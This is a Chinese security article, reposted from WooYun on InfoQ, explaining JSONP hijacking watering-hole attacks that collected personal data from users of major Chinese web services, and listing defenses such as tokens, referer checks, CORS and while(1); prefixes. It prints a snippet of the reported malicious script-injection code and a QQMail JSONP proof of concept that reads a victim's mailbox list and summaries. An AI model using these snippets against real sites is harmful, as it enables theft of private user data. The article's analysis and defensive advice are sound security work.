声明:为了更好地向读者输出更优质的内容,InfoQ将精选来自国内外的优秀文章,经过整理审校后,发布到网站。本篇文章作者为乌云白帽子大学生,原文链接。本文已由乌云网授权InfoQ中文站转载。欢迎转发,但请保留原作者信息!
编者按:纽约时报近期在对JSONP水坑攻击的报道中称,中国的15大网络服务平台,包括百度、淘宝、QQ、新浪、搜狐、携程和人人网,存在严重漏洞,攻击者可以轻松偷取个人敏感信息。那么水坑攻击的原理和防御措施有哪些呢?乌云网的白帽子大学生给我们做出了解答。
0x00 简介
前几天安全研究者Jaime Blasco发现了在中国某些特定主题的网站被进行了水坑攻击,攻击方法有一定多样性,其中存在一些比较少见于此类型攻击中的技术,不过其实是比较早的技术了,国内猥琐流已经玩了很久的玩意。攻击类型的多样性在于,该安全公司并非追踪到了某个攻击组织的多次活动,而是某个特定主题网站的多次攻击。
比如针对Mac OS X的攻击:发送Microsoft Office .doc利用MS09-027来打苹果电脑,虽然我认为他们可能没打到啥东西。除此之外的攻击事件还可以参考针对Adobe PDF的攻击以及邮件钓鱼攻击。
这次的攻击方式总结起来就是 当受害者访问网站A时会触发恶意代码,之后恶意代码会去访问某些存在可获取私人信息接口的网站,获取信息后再上传至C2。下面是该安全公司统计的恶意代码获取信息的网站,总的来说应该是以中国地区的用户为目标的一次行动,这年头会上这些网站的老外不多了。
至于提到的玩烂了,乌云上有记录的分析最早是剑心2012年发布的 《Json hijacking/Json劫持漏洞》以及2014 年zone社区的《JSON探针》和《Jsonp探针callback地址收集帖》。
0x01 原理 & 攻击分析
总结来说JS会通过某种方式获取数据来方便用户的交互,这种获取数据的方式有一些通用的格式,这里就是Json or Jsonp。一般JS会通过两种方式获取数据。一种是xmlhttp还有一种是script的形式。
xmlhttp的数据获取方式只有在同一个域的情况下才可以获取,不然会遭受同源策略的限制,但是如果数据位于两个不同的域名,那么只有通过script的方式进行获取,通过script的方式先传入一个callback,那么数据就会被传入的函数执行。这样就不会遭到同源策略的限制。
<script>
function wooyun_callback(a){
alert(a);
}
</script>
<script src="http://www.wooyun.org/userdata.php?callback=wooyun_callback"></script>
这次其实就是在目标网站群上插入通过此类型的接口获取信息的代码,再获取目标的私人信息。老外给了几张恶意代码的截图。
1.利用代码,通过某种方式在受害者访问的网站嵌入:
_ae(_id('myselfform'),_'renrenid');
_as('http://passport.game.com/user/info?callback=renrenall');_countok++;
function _as(url) {try{
var s = document.creatElement('script');
s.src = url;
document.body.appendChild(s);}catch(e);{}
}
2.通过callback获取响应数据
3.解析响应数据
老外提到了一个中国安全博客代码风格有点像。这里大概原理已经解释的差不多了。
0x02 利用代码 & 案例
关于这方面就是jacks写的《JSON探针—定位目标网络虚拟信息身份》和xiaoxin在此之上扩展的《Jsonp探针callback地址收集帖》。
案例方面可以在乌云主站搜索到。
比如国美在线多接口问题可以获取用户的购买记录等大量的隐私信息。比较有代表性的还有剑心发布的QQMail邮件泄露漏洞通过QQmail的特殊接口获取邮箱内容。
<script>
var Qmail={};
</script>
<script src="http://mail.qq.com/cgi-bin/login?fun=passport&target=MLIST&t=login.js&pagesize=10&resp_charset=gb2312&1=3"></script>
<script>
alert(Qmail.newMailsList.nextUrl);
alert(document.scripts[1].src=Qmail.newMailsList.nextUrl);
alert(Qmail.newMailsList.summary);
</script>
0x03 攻击原因分析
Jaime Blasco提到攻击原因的方面,攻击出现某些特定的主题的网站,以某些少数民族以及支持自由言论的非政府组织。攻击目标以小部分群体为主,攻击的目的应该在于收集其个人的资料,其中一个原因可能在于在中国一部分网站受到GFW的拦截,但是只要使用VPN以及Tor就可以正常访问,在使用某种代理的前提下收集这一部分群体的信息存在难度,那么就可以通过水坑的方式,跨域收集个人信息。
0x04 修复 & 防御 方案
-
尽量避免跨域的数据传输,对于同域的数据传输使用xmlhttp的方式作为数据获取的方式,依赖于JavaScript在浏览器域里的安全性保护数据。
-
referer的来源限制,利用前端referer的不可伪造性来保障请求数据的应用来源于可信的地方,此种方式力度较稀,完全依赖于referer,某些情况下(如存在xss)可能导致被绕过。
-
token的加入,严格来说,这种利用JavaScript hijacking的方式获取数据是CSRF的一种,不过较之传统的CSRF不能获取数据只能提交而言,这种方式利用JavaScript可以获取一些敏感信息而已。如果我们能让攻击者对接口未知,就可以实现json hijacking的防御了。利用token对调用者的身份进行认证,这种方式对于调用者的身份会要求力度较细,但是一旦出现xss也可能导致前端Token的泄露,从而导致保护失效。
-
对于同域的json使用情况下,可以在数据的输出头部加入while(1);的方式避免数据被script标签的方式引用,这可以防止一些比较有特性的浏览器里导致的数据泄漏。
此外老外还提到了
- 使用CORS代替jsonp。
- 不要在使用cookie的情况下使用jsonp交换数据
大概就这样,其中提到了独裁之类的玩意我就不说了。